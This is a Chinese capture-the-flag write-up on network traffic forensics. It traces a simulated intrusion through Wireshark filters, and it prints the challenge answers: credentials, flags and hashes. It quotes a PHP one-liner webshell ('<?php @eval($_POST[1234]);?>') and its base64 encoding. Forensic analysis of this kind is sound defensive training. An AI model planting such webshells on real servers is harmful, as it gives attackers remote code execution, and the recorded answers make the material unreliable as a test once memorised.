流量分析——安恒科技(八月CTF)

一、题目背景

某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务器,破解了后台的账户密码,随之利用破解的账号密码登陆了mail系统,然后获取了vpn的申请方式,然后登陆了vpn,在内网pwn掉了一台打印机,请根据提供的流量包回答下面有关问题

二、关卡列表

1 某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器

2 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)

3 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)

4 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码

5 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么

6 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少

7 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么

8 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么

9 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip

10 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号密码登陆了mail系统(形式: username/password)

11 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少

三、解题过程

1、黑客使用的扫描器

打开webone.pcap流量包,按照协议类型逐一查询。当看到http协议的时候,发现了明显的AVWS扫描器特征。
在这里插入图片描述
通过 http contains acunetix 命令可以发现更多awvs的特征,说明黑客是用awvs扫描器进行扫描的。
此时也可得知黑客所使用的IP地址可能是192.168.94.59,这个IP地址到后面会有一定的作用。
在这里插入图片描述

2、黑客扫描到的登陆后台

登陆后台99%使用的是POST方法,直接使用过滤器过滤。

http.request.method=="POST"

在这里插入图片描述
找出存在rec=login的流量,通过追踪TCP流,如果看到是302重定向,基本就是表示登陆成功。
在这里插入图片描述
可以看到第一个就是302重定向了。
此处只是示例,后面还有很多是302重定向的流量,此处省略。

3、黑客登陆web后台所使用的账号密码(形式:username/password)

通过上题的查询,发现有很多302重定向登陆成功的结果,有很多不同的账号密码,为了确定黑客所使用的,根据第一题所查找的黑客的ip地址192.168.94.59,并得出上题查询的登录流量存在rec=login,再次使用过滤语句过滤。

http.request.method=="POST" and ip.src==192.168.94.59 and http contains "rec=login"

在这里插入图片描述
由于通过过滤之后,仍存在众多302重定向登陆的流量,逐一进行追踪TCP流这种方法不现实,因此根据其它大师以往的经验,直接追踪最后一个流量的TCP流(一般黑客成功登录到需要的后台,就不会继续),如果查询出是302重定向,那么此流量所提交的表单中就有我们所需要的账号和密码。
在这里插入图片描述
可以看到最后一个流量是302重定向,通过前面一张图可得知黑客登陆web后台所使用的账号密码是(admin/admin!@#pass123)

4、黑客上传的webshell文件名、内容以及内容的base编码

webshell也就是一句话木马,而通常一句话木马的样式为<?php @eval($_POST['pass']); ?>
先通过过滤语句进行过滤。

http.request.method=="POST" and ip.src==192.168.94.59 and http

在这里插入图片描述
通过漫长而又无聊的翻阅流量后,发现了一处存在疑点(图片上传功能上传了一堆a.php文件(一般不会在上传图片中上传PHP文件),此时可以猜测有可能是黑客通过图片上传功能上传木马。
通过追踪TCP流,发现类似一句话木马的样式@eval.(base64_decode($_POST[action])),确认这就是一句话木马。
在这里插入图片描述
通过上图得出1234为传递值,并有base64加密过的内容,通过解密(注:%2B是+,需要更换后才能成功解密)。
在这里插入图片描述
通过解密发现是php代码。
在这里插入图片描述
通过发现基本可以断定一句话木马是使php编写的,此时决定再次通过过滤语句进行过滤。

http contains "<?php @eval"

在这里插入图片描述
通过上面的过滤语句过滤,并没有发现数据,考虑到可能是tcp重传的原因,导致http中没追踪到,因此尝试将http换成tcp进行再次过滤。

tcp contains "<?php @eval"

在这里插入图片描述
发现查询出了结果,此时选取第二个流量追踪TCP流。
在这里插入图片描述
最后得出:
文件名为:a.php
内容为:

<?php @eval($_POST[1234]);?>
------WebKitFormBoundaryUIPbEBT1j473BLOO
Content-Disposition: form-data; name="keywords"

内容的base编码为:
PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==

5、黑客找到的robots.txt中的flag

根据题目的要求,先通过过滤语句过滤。

http contains "robots.txt"

在这里插入图片描述
追踪第一个流量的TCP流。
在这里插入图片描述
从上图得知flag为:87b7cb79481f317bde90c116cf36084b
同时可以直接导出http对象,在文本过滤器中选择robots.txt,随便选取一个将文件保存下来
在这里插入图片描述
在这里插入图片描述

6、黑客找到的数据库密码

根据一些大师的经验,数据库通常的关键字有databasedbdata等等,可以通过过滤关键字搜寻相关流量。
在这里插入图片描述
通过追踪TCP流。
在这里插入图片描述
得出账号为:web
得出密码为:e667jUPvJjXHvEUv
(注:密码就是这个,没有加密!!!)
得出IP地址为:10.3.3.101

7、黑客在数据库中找到的hash_code

由于上题最后查询出有关数据库的流量仅有一个,因此决定从webtwo流量包入手。
根据题目决定先利用hash_code这个关键字进行过滤。
在这里插入图片描述
查询不出流量。此时想到hash_code是和数据库有关的,通过上题得知数据库的IP地址是10.3.3.101,决定通过过滤IP看看是否可以过滤出相关流量。

ip.src==10.3.3.101

在这里插入图片描述
选取第一个流量进行追踪TCP流。
请添加图片描述
通过比对信息,得出hash_code为:d1c029893df40cb0f47bcf8f1c3c17ac

8、黑客破解账号ijnu@test.com得到的密码

根据题目决定利用ijnu@test.com这个关键字进行分组详情查询。
请添加图片描述
得出对应密码有可能是通过MD5加密过的,对应加密后的密码是:b78f5aa6e1606f07def6e839121a22ec
通过网上的MD5解密
在这里插入图片描述
最后得出对应的密码是:edc123!@#

9、黑客攻击的web服务器的网卡配置和网卡内网IP

先回到webone.pcap流量包进行查询,根据一些大师的经验,网卡通常的关键字有eth0ens33等,可以分别尝试通过关键字过滤查询。
先尝试eth0

http contains "eth0"

在这里插入图片描述
通过上图可以看出,找到了几个有关的流量,选择服务器返回的流量(第二个/第三个流量),进行跟踪TCP流。
在这里插入图片描述
通过上图得出三个网卡的结果,通过分析,一直向黑客IP192.168.94.59回复黑客消息的都是IP192.168.32.189,因此可以判定此IP为外网IP,而eth0就是外网网卡,另外lo为环回地址,这个大家都知道,所以剩下的eth1为内网网卡,而10.3.3.100就是内网IP了。

10、黑客登陆了mail系统所使用的账号和密码(形式: username/password)

只有一题有关mail,因此毋庸置疑,需要综合查询两个有关mail的流量包。
根据题目要求,决定使用mail作为关键字进行过滤;另外从常识可知mail登录是通过表单提交的,一般提交账号和密码为了安全性,都是使用POST关键字。

http.request.method==POST && http contains "mail"

在这里插入图片描述
从上图可知,发现很多登录的流量,打开流量查看可以发现尝试的密码很像base64,但base64是编码格式,不是加密,因此考虑的这方面类似加密结果的加密方式,只有一种可能,那就是AES加密。那么,如果是AES加密,就需要找到对应的key和iv偏移量。
此时,还是需要再次重新过滤流量,获取新的信息,那么就继续过滤http的流量,同时加上状态码为200的过滤关键字。

http.response.code==200

请添加图片描述
从上图中发现,我们随机打开一个流量,查看里面的信息,可以看到里面有我们需要的key和iv偏移量。
MD5加密后的key:var key_hash = CryptoJS.MD5(‘1234567812345678’);
key:var key = CryptoJS.enc.Utf8.parse(key_hash);
iv偏移量:var iv = CryptoJS.enc.Utf8.parse(‘1234567812345678’);

紧接着尝试过滤http
请添加图片描述
通过上图发现,过滤http后中的第一个流量就是服务器获取的登录表单信息,同时呢,这个流量中有一个logout的关键字,说明是刚刚退出登录,加入里面有账号信息,那么这就是登录mail的账号,那么,查看里面的信息发现在Cookie里面有登录mail的账号:wenwenni
当我们知道mail的账号是wenwenni,那么后面就需要查询账号是wenwenni的情况下登陆成功后所返回的值,这样才有机会通过关键字过滤,从而查询出对应的正确登录密码。
因此,通过账号为wenwenni和状态码为200作为过滤关键字进行再次过滤

http contains "wenwenni" or http contains 200

请添加图片描述
从上图可以看出此流量为某个成功登录后所返回的值,编号为44,那么接下来就是再看看这个流量的前一个流量是什么。
请添加图片描述
从上图中可以看出,编号为42的流量是刚刚查询出的编号44的流量的前一个流量,同时使用的mail的登录账号也刚好是wenwenni,因此可以得知登陆成功的关键字是{"success":true}
接下来,通过所得知的黑客IP、提交表单常用的POST关键字、以及刚刚得知的登陆成功返回的值,作为我们过滤的关键字进行过滤。

(http contains "{\"success\":true}" or http.request.method=="POST") and ip.addr==192.168.94.59
// 注:此处的 "success" 中的双引号需要通过 “\” 转译,否则会报错

在这里插入图片描述
从上图可以看出,通过过滤语句查询第一个流量包mailtwo的时候,都是一些爆破的流量,没有我们需要的东西。
那么接下来就通过过滤语句查询第二个流量包mailtwo1
请添加图片描述
通过查看流量里面的信息,最后两个流量都是表示成功登录的流量,那么倒数第三个流量里面的信息,就包含我们所需要的密码(登陆成功就不会继续)。请添加图片描述
从上图可以看到有一个字段的信息是Form item: "password" = "+ZgE14UGcFcyRGLI0/ZXPQ==",那么这字段包含的就是我们所需要的密码。
拿到密码后,我们就进行最后一步,进行密码解密。
在这里插入图片描述
通过上图看到,经过解密之后得到密码:admin!@#PASS123

11、黑客获得的VPN的IP

不太会~~~(后续会了会更新)


版权声明:本文为JohnnyG2000原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。